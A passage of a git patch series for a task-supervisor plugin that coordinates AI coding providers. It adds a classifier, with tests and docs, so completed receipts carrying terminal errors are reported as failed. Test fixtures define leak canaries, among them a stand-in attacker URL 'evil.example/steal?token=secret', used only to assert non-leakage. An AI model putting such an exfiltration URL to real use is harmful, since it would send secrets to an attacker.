} const runtime = taskRuntime(await readRuntimeRecord(root, taskId), task); const identity = currentProcessIdentity(runtime); @@ -995,23 +1183,23 @@ export async function cancelTask(root, taskId, dependencies = {}) { await (dependencies.stopBoundary ?? stopRuntimeBoundary)(runtime); } catch (error) { await recordManagedCleanup(root, task, dependencies.execute); - return updateTask(root, taskId, { + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'transport_lost', error: { code: error?.code ?? 'cancel_incomplete', message: 'The owned local task cgroup could not be proven empty.' }, - }); + })); } await recordManagedCleanup(root, task, dependencies.execute); await appendTaskEvent(root, taskId, { type: 'terminal', status: 'cancelled', boundary: runtime.process_boundary.boundary }); - return updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() }); + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() })); } if (!identity && !providerIdentity) { await recordManagedCleanup(root, task, dependencies.execute); await appendTaskEvent(root, taskId, { type: 'terminal', status: 'cancelled', reason: 'worker_not_running' }); - return updateTask(root, taskId, { + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'cancelled', error: { code: 'worker_not_running', message: 'Recorded worker was not running; no owned process remained to signal.' }, finished_at: new Date().toISOString(), - }); + })); } for (const owned of [providerIdentity, identity].filter(Boolean)) { try { process.kill(-owned.process_group, 'SIGTERM'); } catch (error) { if (error?.code !== 'ESRCH') throw error; } @@ -1028,14 +1216,14 @@ export async function cancelTask(root, taskId, dependencies = {}) { } if ((identity && processGroupAlive(identity.process_group)) || (providerIdentity && processGroupAlive(providerIdentity.process_group))) { await recordManagedCleanup(root, task, dependencies.execute); - return updateTask(root, taskId, { + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'transport_lost', error: { code: 'cancel_incomplete', message: 'Owned process group remained after SIGKILL.' }, - }); + })); } await recordManagedCleanup(root, task, dependencies.execute); await appendTaskEvent(root, taskId, { type: 'terminal', status: 'cancelled' }); - return updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() }); + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() })); } export async function taskStatus(root, taskId, options = {}) { @@ -1051,10 +1239,10 @@ export async function taskStatus(root, taskId, options = {}) { signal: options.signal, }); const latestRuntime = taskRuntime(await readRuntimeRecord(root, taskId), waited.task); - const task = await projectLiveLastEvent( + const task = projectSupervisorTerminalReceipt(await projectLiveLastEvent( root, await reconcileInactiveTask(root, waited.task, latestRuntime), - ); + )); const progress = { ...waited.progress, last_event: task.last_event ?? waited.progress.last_event, @@ -1147,7 +1335,7 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op mcp_pending_call: mcpPendingCallReport(), local_boundary: boundary, readiness, - tasks: await Promise.all(tasksAll.slice(0, 20).map((task) => projectLiveLastEvent(root, task))), + tasks: projectSupervisorTaskRecords(await Promise.all(tasksAll.slice(0, 20).map((task) => projectLiveLastEvent(root, task)))), }; } const detail = options.detail ?? 'full'; @@ -1194,6 +1382,7 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op if (detail === 'full') { windowTasks = await Promise.all(windowTasks.map((task) => projectLiveLastEvent(root, task))); } + windowTasks = projectSupervisorTaskRecords(windowTasks); } const result = { version: VERSION, From e2b61e3e93ba00cb4eb3c5ae3ec392a1c24c18d1 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 20:11:24 +0000 Subject: [PATCH 117/151] test(supervisor): prove terminal errors cannot project as succeeded Cover the authoritative zero-work RetriableError [unavailable] PING timed out receipt, whole-result transport errors, shared status/task/tasks/cancel projection, unchanged stored bytes, 3.2.1 omitted-mode shapes, and hostile accessors. --- ...upervisor-result-truthfulness-fixtures.mjs | 212 +++++++++ ...r1-supervisor-result-truthfulness.test.mjs | 405 ++++++++++++++++++ .../test/v3-supervisor.test.mjs | 29 ++ 3 files changed, 646 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs new file mode 100644 index 0000000..134ee3d --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs @@ -0,0 +1,212 @@ +// Neutral fixtures for supervisor result-truthfulness tests. Construction +// only: no Git, filesystem, process, network, provider, or stored-byte writes. + +export const AUTHORITATIVE_PING_TIMEOUT = 'RetriableError [unavailable] PING timed out'; +export const HOSTILE_SECRET = 'sk-secret-value-do-not-leak'; +export const HOSTILE_PATH = '/tmp/secret-repo-do-not-leak'; +export const HOSTILE_URL = 'https://evil.example/steal?token=secret'; +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const STORED_STATUS_VOCABULARY = Object.freeze([ + 'completed', + 'failed', + 'cancelled', + 'timeout', + 'environment_blocked', + 'transport_lost', + 'needs_attention', + 'accepted', + 'starting', + 'running', + 'cancelling', +]); + +export const PUBLIC_STATE_VOCABULARY = Object.freeze([ + 'succeeded', + 'failed', + 'cancelled', + 'timed_out', + 'environment_blocked', + 'transport_lost', + 'needs_attention', + 'accepted', + 'starting', + 'running', + 'cancelling', +]); + +export const LEGACY_STATUS_KEYS = Object.freeze([ + 'version', + 'healthy', + 'active', + 'providers', + 'capabilities', + 'mcp_pending_call', + 'local_boundary', + 'readiness', + 'tasks', +]); + +export const COMPACT_OMITTED_TASKS_KEYS = Object.freeze([ + ...LEGACY_STATUS_KEYS, + 'detail', + 'task_count', + 'returned_tasks', + 'task_limit', + 'include_tasks', + 'total', + 'limit', +]); + +export const TASK_STATUS_KEYS = Object.freeze([ + 'task', + 'runtime', + 'progress', + 'state', + 'summary', + 'diagnostic', + 'capabilities', + 'view', +]); + +export function readyBoundary() { + return { + ready: true, + status: 'prerequisites_ready', + provider_started: false, + boundary: 'systemd-user-service-cgroup', + }; +} + +export function readyProviderReadiness() { + return { + grok: { installed: true, ready: true, transport: 'acp' }, + 'cursor-local': { installed: true, ready: true, transport: 'acp' }, + dsh: { installed: true, ready: true, transport: 'acpx' }, + 'cursor-cloud': { installed: true, ready: true, transport: 'cursor-sdk' }, + }; +} + +export function terminalReceipt(overrides = {}) { + return { + id: 'rtruth-terminal', + status: 'completed', + provider: 'cursor-local', + role: 'implement', + prompt_dispatched: true, + finished_at: '2026-08-25T00:00:00.000Z', + stop_reason: 'end_turn', + result: 'implemented the requested change', + ...overrides, + }; +} + +export function zeroWorkPingTimeoutReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-ping-timeout', + result: AUTHORITATIVE_PING_TIMEOUT, + error: { + code: 'unavailable', + name: 'RetriableError', + message: AUTHORITATIVE_PING_TIMEOUT, + }, + ...overrides, + }); +} + +export function wholeResultPingTimeoutReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-whole-result-ping', + result: AUTHORITATIVE_PING_TIMEOUT, + error: null, + ...overrides, + }); +} + +export function envelopeOnlyCompletedReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-envelope-only', + result: null, + error: { + code: 'unavailable', + name: 'RetriableError', + message: AUTHORITATIVE_PING_TIMEOUT, + }, + ...overrides, + }); +} + +export function structuredWholeResultErrorReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-structured-result', + result: { + name: 'RetriableError', + code: 'unavailable', + message: AUTHORITATIVE_PING_TIMEOUT, + }, + error: null, + ...overrides, + }); +} + +export function legitimateCompletedReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-completed', + result: 'The change is on the branch with tests passing.', + error: null, + ...overrides, + }); +} + +export function quotedPingInSuccessfulResultReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-quoted-ping', + result: [ + 'Review notes:', + '- retry the later probe if a prior PING timed out in logs', + '- the requested implementation is complete', + ].join('\n'), + error: null, + ...overrides, + }); +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function throwingGetterReceipt(field, overrides = {}) { + const base = terminalReceipt({ + id: `rtruth-throwing-${field}`, + ...overrides, + }); + return new Proxy(base, { + get(inner, property, receiver) { + if (property === field) throw new Error(`${field} accessor must not leak ${HOSTILE_SECRET}`); + return Reflect.get(inner, property, receiver); + }, + }); +} diff --git a/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs b/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs new file mode 100644 index 0000000..a52775d --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs @@ -0,0 +1,405 @@ +// Supervisor result truthfulness — focused and adversarial coverage of the +// terminal-receipt classifier. Stored task.v1 bytes are compared, not rewritten. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import { mkdtemp, rm } from 'node:fs/promises'; +import os from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { denyWorkerRemoteMutation } from '../mcp/v3/credential-boundary.mjs'; +import { publicState } from '../mcp/v3/contract.mjs'; +import { COMPACT_VIEW } from '../mcp/v3/compact-task.mjs'; +import { + SUPERVISOR_FALSE_SUCCESS_REASON, + cancelTask, + classifySupervisorTerminalReceipt, + projectSupervisorPublicState, + projectSupervisorTaskRecords, + projectSupervisorTerminalReceipt, + supervisorStatus, + taskStatus, +} from '../mcp/v3/supervisor.mjs'; +import { TASK_SCHEMA, createTask, listTasks, readTask, taskPaths } from '../mcp/v3/task-store.mjs'; +import { + AUTHORITATIVE_PING_TIMEOUT, + COMPACT_OMITTED_TASKS_KEYS, + CONTENT_FREE, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_URL, + LEGACY_STATUS_KEYS, + PUBLIC_STATE_VOCABULARY, + STORED_STATUS_VOCABULARY, + TASK_STATUS_KEYS, + countingProxy, + envelopeOnlyCompletedReceipt, + legitimateCompletedReceipt, + quotedPingInSuccessfulResultReceipt, + readyBoundary, + readyProviderReadiness, + structuredWholeResultErrorReceipt, + terminalReceipt, + throwingGetterReceipt, + wholeResultPingTimeoutReceipt, + zeroWorkPingTimeoutReceipt, +} from './fixtures/r1-supervisor-result-truthfulness-fixtures.mjs'; + +function assertContentFreeReason(value) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes(AUTHORITATIVE_PING_TIMEOUT), false); + assert.equal(text.includes('RetriableError'), false); + assert.equal(text.includes('PING timed out'), false); + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_URL), false); + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +function assertVocabulary(status, state) { + if (status != null) assert.equal(STORED_STATUS_VOCABULARY.includes(status), true, status); + if (state != null) assert.equal(PUBLIC_STATE_VOCABULARY.includes(state), true, state); +} + +function assertNotSucceeded(state) { + assert.notEqual(state, 'succeeded'); +} + +async function withRoot(fn) { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-rtruth-')); + try { + return await fn(root); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +async function storeReceipt(root, receipt, prompt = 'keep this prompt private') { + const { task, paths } = await createTask({ + root, + prompt, + record: receipt, + }); + const stored = await readFile(paths.record, 'utf8'); + return { task, paths, stored }; +} + +async function statusOf(root) { + return supervisorStatus(root, { + probeBoundary: async () => readyBoundary(), + readProviderReadiness: async () => readyProviderReadiness(), + }); +} + +test('authoritative zero-work PING timeout cannot project state=succeeded', () => { + const receipt = zeroWorkPingTimeoutReceipt(); + const classified = classifySupervisorTerminalReceipt(receipt); + assert.equal(classified.stored_status, 'completed'); + assert.equal(classified.projected_status, 'failed'); + assert.equal(classified.public_state, 'failed'); + assert.equal(classified.corrected, true); + assert.equal(classified.reason, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assert.equal(projectSupervisorPublicState(receipt), 'failed'); + assert.notEqual(publicState(receipt.status), 'failed'); + assert.equal(publicState(classified.projected_status), 'failed'); + assertContentFreeReason(classified.error); + assertContentFreeReason(classified.reason); + assertVocabulary(classified.projected_status, classified.public_state); + const projected = projectSupervisorTerminalReceipt(receipt); + assert.equal(projected.status, 'failed'); + assert.equal(projected.error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assert.equal(receipt.status, 'completed'); + assertNotSucceeded(projectSupervisorPublicState(receipt)); +}); + +test('explicit whole-result terminal transport error cannot project succeeded', () => { + for (const receipt of [ + wholeResultPingTimeoutReceipt(), + structuredWholeResultErrorReceipt(), + envelopeOnlyCompletedReceipt(), + terminalReceipt({ + id: 'nested-result-error', + result: { error: { code: 'unavailable', message: AUTHORITATIVE_PING_TIMEOUT } }, + error: null, + }), + ]) { + const classified = classifySupervisorTerminalReceipt(receipt); + assert.equal(classified.corrected, true, receipt.id); + assert.equal(classified.public_state, 'failed', receipt.id); + assertNotSucceeded(classified.public_state); + assertContentFreeReason(classified.error); + } +}); + +test('succeeded is only for completed receipts without a terminal error', () => { + const clean = legitimateCompletedReceipt(); + const classified = classifySupervisorTerminalReceipt(clean); + assert.equal(classified.corrected, false); + assert.equal(classified.projected_status, 'completed'); + assert.equal(classified.public_state, 'succeeded'); + assert.equal(classified.reason, null); + assert.equal(projectSupervisorTerminalReceipt(clean), clean); + + const quoted = quotedPingInSuccessfulResultReceipt(); + const quotedClassified = classifySupervisorTerminalReceipt(quoted); + assert.equal(quotedClassified.corrected, false); + assert.equal(quotedClassified.public_state, 'succeeded'); +}); + +test('transport_lost remains nonterminal reconciliation uncertainty', () => { + const receipt = terminalReceipt({ + id: 'rtruth-transport-lost', + status: 'transport_lost', + error: { code: 'worker_not_running', message: 'Recorded worker is not running.' }, + result: AUTHORITATIVE_PING_TIMEOUT, + }); + const classified = classifySupervisorTerminalReceipt(receipt); + assert.equal(classified.corrected, false); + assert.equal(classified.stored_status, 'transport_lost'); + assert.equal(classified.projected_status, 'transport_lost'); + assert.equal(classified.public_state, 'transport_lost'); + assert.equal(projectSupervisorTerminalReceipt(receipt), receipt); +}); + +test('exact stored and public vocabularies pass through without correction', () => { + const storedToPublic = { + completed: 'succeeded', + failed: 'failed', + cancelled: 'cancelled', + timeout: 'timed_out', + environment_blocked: 'environment_blocked', + transport_lost: 'transport_lost', + needs_attention: 'needs_attention', + accepted: 'accepted', + starting: 'starting', + running: 'running', + cancelling: 'cancelling', + }; + for (const status of STORED_STATUS_VOCABULARY) { + const classified = classifySupervisorTerminalReceipt(terminalReceipt({ + id: `vocab-${status}`, + status, + result: status === 'completed' ? 'ok' : null, + error: status === 'completed' ? null : { code: status, message: 'bounded' }, + })); + assert.equal(classified.projected_status, status); + assert.equal(classified.public_state, storedToPublic[status]); + assert.equal(classified.corrected, false); + assertVocabulary(classified.projected_status, classified.public_state); + } + for (const state of PUBLIC_STATE_VOCABULARY) { + assert.equal(PUBLIC_STATE_VOCABULARY.includes(state), true); + } +}); + +test('status, task, tasks, and cancel share the classifier without rewriting stored bytes', async () => { + await withRoot(async (root) => { + const { paths, stored } = await storeReceipt(root, zeroWorkPingTimeoutReceipt({ + cwd: root, + })); + assert.match(stored, /"schema": "codex-co-engineer.task.v1"/u); + assert.match(stored, /"status": "completed"/u); + + const inspected = await taskStatus(root, 'rtruth-ping-timeout'); + assert.deepEqual(Object.keys(inspected).filter((key) => key !== 'diagnostics'), [...TASK_STATUS_KEYS]); + assert.equal(inspected.state, 'failed'); + assert.equal(inspected.task.status, 'failed'); + assert.equal(inspected.task.error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assert.equal(inspected.summary.state, 'failed'); + assert.equal(inspected.diagnostic.state, 'failed'); + assertContentFreeReason(inspected.task.error); + assertContentFreeReason(inspected.diagnostic.message); + assertNotSucceeded(inspected.state); + + const compact = await taskStatus(root, 'rtruth-ping-timeout', { view: COMPACT_VIEW }); + assert.equal(compact.view, COMPACT_VIEW); + assert.equal(compact.state, 'failed'); + assert.equal(compact.status, 'failed'); + assertNotSucceeded(compact.state); + + const status = await statusOf(root); + assert.deepEqual(Object.keys(status), [...LEGACY_STATUS_KEYS]); + assert.equal(status.tasks.length, 1); + assert.equal(status.tasks[0].status, 'failed'); + assert.equal(status.tasks[0].error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + + const listed = projectSupervisorTaskRecords(await listTasks(root)); + assert.equal(listed.length, 1); + assert.equal(listed[0].status, 'failed'); + assert.equal(listed[0].error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + + const cancelled = await cancelTask(root, 'rtruth-ping-timeout'); + assert.equal(cancelled.status, 'failed'); + assert.equal(cancelled.error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assertNotSucceeded(projectSupervisorPublicState(cancelled)); + + const after = await readFile(paths.record, 'utf8'); + assert.equal(after, stored); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); + assert.equal(paths.record, taskPaths(root, 'rtruth-ping-timeout').record); + }); +}); + +test('whole-result PING timeout is failed across supervisor surfaces and leaves bytes unchanged', async () => { + await withRoot(async (root) => { + const { stored } = await storeReceipt(root, wholeResultPingTimeoutReceipt({ + id: 'rtruth-whole-result-ping', + cwd: root, + })); + const inspected = await taskStatus(root, 'rtruth-whole-result-ping'); + assert.equal(inspected.state, 'failed'); + assert.equal(inspected.task.status, 'failed'); + const status = await statusOf(root); + assert.equal(status.tasks[0].status, 'failed'); + const listed = projectSupervisorTaskRecords(await listTasks(root)); + assert.equal(listed[0].status, 'failed'); + const cancelled = await cancelTask(root, 'rtruth-whole-result-ping'); + assert.equal(cancelled.status, 'failed'); + assert.equal((await readTask(root, 'rtruth-whole-result-ping')).task.status, 'completed'); + assert.equal(await readFile(taskPaths(root, 'rtruth-whole-result-ping').record, 'utf8'), stored); + }); +}); + +test('legitimate completed receipts still project succeeded', async () => { + await withRoot(async (root) => { + await storeReceipt(root, legitimateCompletedReceipt({ cwd: root })); + const inspected = await taskStatus(root, 'rtruth-legitimate-completed'); + assert.equal(inspected.state, 'succeeded'); + assert.equal(inspected.task.status, 'completed'); + const status = await statusOf(root); + assert.equal(status.tasks[0].status, 'completed'); + const cancelled = await cancelTask(root, 'rtruth-legitimate-completed'); + assert.equal(cancelled.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-legitimate-completed')).task.status, 'completed'); + }); +}); + +test('legacy omitted-mode status and compact include_tasks=false shapes are preserved', async () => { + await withRoot(async (root) => { + await storeReceipt(root, legitimateCompletedReceipt({ id: 'shape-one', cwd: root })); + await storeReceipt(root, zeroWorkPingTimeoutReceipt({ id: 'shape-two', cwd: root })); + const legacy = await statusOf(root); + assert.deepEqual(Object.keys(legacy), [...LEGACY_STATUS_KEYS]); + assert.equal('detail' in legacy, false); + assert.equal('task_count' in legacy, false); + assert.equal('include_tasks' in legacy, false); + assert.equal(legacy.tasks.length, 2); + + const omitted = await supervisorStatus(root, { + probeBoundary: async () => readyBoundary(), + readProviderReadiness: async () => readyProviderReadiness(), + }, { + detail: 'compact', + include_tasks: false, + }); + assert.deepEqual(Object.keys(omitted).sort(), [...COMPACT_OMITTED_TASKS_KEYS].sort()); + assert.equal(omitted.detail, 'compact'); + assert.equal(omitted.include_tasks, false); + assert.equal(omitted.task_limit, 0); + assert.equal(omitted.returned_tasks, 0); + assert.deepEqual(omitted.tasks, []); + assert.equal(omitted.task_count, 2); + }); +}); + +test('compact status cards use classified state for false-success receipts', async () => { + await withRoot(async (root) => { + await storeReceipt(root, zeroWorkPingTimeoutReceipt({ cwd: root })); + const compact = await supervisorStatus(root, { + probeBoundary: async () => readyBoundary(), + readProviderReadiness: async () => readyProviderReadiness(), + }, { + detail: 'compact', + include_tasks: true, + task_limit: 20, + }); + assert.equal(compact.detail, 'compact'); + assert.equal(compact.tasks.length, 1); + assert.equal(compact.tasks[0].state, 'failed'); + assertNotSucceeded(compact.tasks[0].state); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + }); +}); + +test('hostile accessors cannot force a completed receipt to succeeded', () => { + const throwingError = throwingGetterReceipt('error', { result: AUTHORITATIVE_PING_TIMEOUT }); + const classifiedError = classifySupervisorTerminalReceipt(throwingError); + assert.equal(classifiedError.public_state, 'failed'); + assertContentFreeReason(classifiedError.error); + + const throwingResult = throwingGetterReceipt('result', { + result: AUTHORITATIVE_PING_TIMEOUT, + error: null, + }); + const classifiedResult = classifySupervisorTerminalReceipt(throwingResult); + assert.equal(classifiedResult.public_state, 'failed'); + + const throwingStatus = throwingGetterReceipt('status'); + const classifiedStatus = classifySupervisorTerminalReceipt(throwingStatus); + assert.notEqual(classifiedStatus.public_state, 'succeeded'); + + const { proxy, counts } = countingProxy(zeroWorkPingTimeoutReceipt()); + const classifiedProxy = classifySupervisorTerminalReceipt(proxy); + assert.equal(classifiedProxy.public_state, 'failed'); + assert.equal(counts.apply, 0); + assert.ok(counts.get > 0); +}); + +test('classifier ignores non-receipt values and does not invent succeeded', () => { + for (const value of [null, undefined, 1, 'completed', true, false, [], Object.create(null)]) { + const classified = classifySupervisorTerminalReceipt(value); + assert.equal(classified.corrected, false); + assert.notEqual(classified.public_state, 'succeeded'); + } + assert.equal(projectSupervisorTaskRecords(null).length, 0); + assert.equal(projectSupervisorTaskRecords(undefined).length, 0); + assert.deepEqual(projectSupervisorTaskRecords([legitimateCompletedReceipt()]).map((task) => task.status), ['completed']); +}); + +test('stored succeeded with a terminal error is also corrected to failed', () => { + const receipt = zeroWorkPingTimeoutReceipt({ status: 'succeeded' }); + const classified = classifySupervisorTerminalReceipt(receipt); + assert.equal(classified.stored_status, 'succeeded'); + assert.equal(classified.projected_status, 'failed'); + assert.equal(classified.public_state, 'failed'); +}); + +test('empty error objects and oversized transcripts do not false-fail', () => { + const emptyError = classifySupervisorTerminalReceipt(terminalReceipt({ + id: 'empty-error', + error: {}, + result: 'implemented', + })); + assert.equal(emptyError.public_state, 'succeeded'); + + const okCode = classifySupervisorTerminalReceipt(terminalReceipt({ + id: 'ok-error', + error: { code: 'ok', message: 'ok' }, + result: 'implemented', + })); + assert.equal(okCode.public_state, 'succeeded'); + + const longTranscript = classifySupervisorTerminalReceipt(terminalReceipt({ + id: 'long-transcript', + error: null, + result: `${'x'.repeat(300)} PING timed out`, + })); + assert.equal(longTranscript.public_state, 'succeeded'); +}); + +test('classifier is pure, content-free, and does not mutate remotes', () => { + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('create_pr'), (error) => error.code === 'remote_mutation_denied'); + const classified = classifySupervisorTerminalReceipt(zeroWorkPingTimeoutReceipt()); + assert.equal(Object.isFrozen(classified), true); + assert.equal(Object.isFrozen(classified.error), true); + assertContentFreeReason(classified); + assertContentFreeReason(SUPERVISOR_FALSE_SUCCESS_REASON); + const json = JSON.stringify(classified); + assert.equal(json.includes('git@'), false); + assert.equal(json.includes('push'), false); + assert.equal(json.includes(HOSTILE_SECRET), false); +}); diff --git a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs index fdb637d..5cdc5e3 100644 --- a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs +++ b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs @@ -759,3 +759,32 @@ test('boundary rollback failure preserves a recoverable runtime and transport-lo await rm(root, { recursive: true, force: true }); } }); + +test('completed receipts with a terminal transport error do not project succeeded', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-rtruth-')); + try { + await createTask({ + root, + prompt: 'zero-work ping timeout', + record: { + id: 'ping-timeout', + status: 'completed', + provider: 'cursor-local', + cwd: root, + result: 'RetriableError [unavailable] PING timed out', + finished_at: new Date().toISOString(), + }, + }); + const value = await taskStatus(root, 'ping-timeout'); + assert.equal(value.state, 'failed'); + assert.equal(value.task.status, 'failed'); + assert.equal(value.task.error.code, 'completed_with_terminal_error'); + assert.doesNotMatch(value.task.error.message, /PING|RetriableError|unavailable/u); + assert.equal((await readTask(root, 'ping-timeout')).task.status, 'completed'); + const cancelled = await cancelTask(root, 'ping-timeout'); + assert.equal(cancelled.status, 'failed'); + assert.equal((await readTask(root, 'ping-timeout')).task.status, 'completed'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); From 47ddeb9029fda45842633c35bba09e5d86533e39 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 20:11:24 +0000 Subject: [PATCH 118/151] docs(supervisor): specify result truthfulness at the projection seam Record the classifier boundary, stored and public vocabularies, the false-success reason, and the non-claims for stored-byte migration, server/tool cutover, and remote mutation. --- docs/supervisor-result-truthfulness.md | 87 ++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 docs/supervisor-result-truthfulness.md diff --git a/docs/supervisor-result-truthfulness.md b/docs/supervisor-result-truthfulness.md new file mode 100644 index 0000000..c55bf25 --- /dev/null +++ b/docs/supervisor-result-truthfulness.md @@ -0,0 +1,87 @@ +# Supervisor result truthfulness + +The supervisor projects stored `codex-co-engineer.task.v1` receipts into +public status, task, tasks, and cancel results. One deterministic +terminal-receipt classifier sits at that projection seam, immediately +before `publicState` mapping. Later run runtime may consume the same +classifier; this slice does not cut over run orchestration. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/supervisor.mjs` +- `plugins/codex-co-engineer/test/v3-supervisor.test.mjs` +- `plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs` +- this document + +## Projection seam + +`classifySupervisorTerminalReceipt(task)` inspects a stored receipt and +returns a frozen classification: + +| Field | Meaning | +| --- | --- | +| `stored_status` | The receipt's stored status, unmodified | +| `projected_status` | Stored-vocabulary status to feed `publicState` | +| `public_state` | `publicState(projected_status)` | +| `corrected` | True only when a completed success claim is demonstrably false | +| `reason` / `error` | Bounded content-free false-success reason, or null | + +`projectSupervisorTerminalReceipt` overlays `projected_status` and the +bounded reason onto the in-memory receipt used by status, task, tasks, and +cancel. It does not call `updateTask`, rewrite `task.json`, or migrate +schema `codex-co-engineer.task.v1` stored bytes. + +Public `state` is still produced by `publicState` after classification. +The classifier never introduces a sixth tool, a new stored status, or a +new public state. + +## Vocabularies + +Stored status remains: + +`completed`, `failed`, `cancelled`, `timeout`, `environment_blocked`, +`transport_lost`, `needs_attention`, `accepted`, `starting`, `running`, +`cancelling`. + +Public state remains: + +`succeeded`, `failed`, `cancelled`, `timed_out`, `environment_blocked`, +`transport_lost`, `needs_attention`, `accepted`, `starting`, `running`, +`cancelling`. + +`succeeded` is projected only for `completed` receipts that carry neither +an explicit terminal error envelope nor a whole-result terminal +transport/provider error. A demonstrable false-success projects +`projected_status=failed` / `state=failed` with reason +`completed_with_terminal_error`. The reason never echoes provider text, +paths, URLs, or secrets. + +`transport_lost` stays nonterminal reconciliation uncertainty. The +classifier does not promote it to `failed` or any stored terminal status. + +## Authoritative false-success + +A zero-work terminal `RetriableError [unavailable] PING timed out` stored +as `completed` is the authoritative counterexample. Whether that failure +arrives as `task.error` or as the whole `task.result`, the projection +must not report `state=succeeded`. A successful result that merely quotes +the phrase in a larger transcript remains `succeeded`. + +## 3.2.1 shapes + +Legacy omitted-mode `supervisorStatus(root)` keeps the 3.2.1 key set: +`version`, `healthy`, `active`, `providers`, `capabilities`, +`mcp_pending_call`, `local_boundary`, `readiness`, `tasks`. Compact +`include_tasks: false` still returns an empty `tasks` window and does not +construct omitted full receipts. Response-mode and server/tool wrappers +are unchanged. + +## Non-claims + +This slice does not rewrite stored bytes, migrate task schema, change +provider adapters, dispatch policy, P31 run orchestration, P32 run API, +P34 attention batching, the MCP server, tool catalog, Gate A, version, or +release. It does not mutate remotes, push, rebase, merge, tag, or open a +PR. Worker remote mutation remains denied by the accepted credential +boundary. From 005c12141bdefe05f84ae2eea3e8bbee2759fde8 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 20:31:36 +0000 Subject: [PATCH 119/151] fix(server): classify tasks list and wait-any before publicState mapping Wire the existing supervisor terminal-receipt classifier into the MCP tasks list, paged full/compact list, and wait-any surfaces. A completed zero-work PING-timeout receipt cannot project succeeded there. Stored task.v1 bytes, the five-tool catalog, and 3.2.1 list/wait-any shapes stay unchanged. --- plugins/codex-co-engineer/mcp/v3/server.mjs | 54 +++--- ...upervisor-result-truthfulness-fixtures.mjs | 38 +++++ ...r1-supervisor-result-truthfulness.test.mjs | 154 ++++++++++++++++++ .../codex-co-engineer/test/v3-server.test.mjs | 85 +++++++++- 4 files changed, 308 insertions(+), 23 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/server.mjs b/plugins/codex-co-engineer/mcp/v3/server.mjs index c9fece6..d6808f6 100644 --- 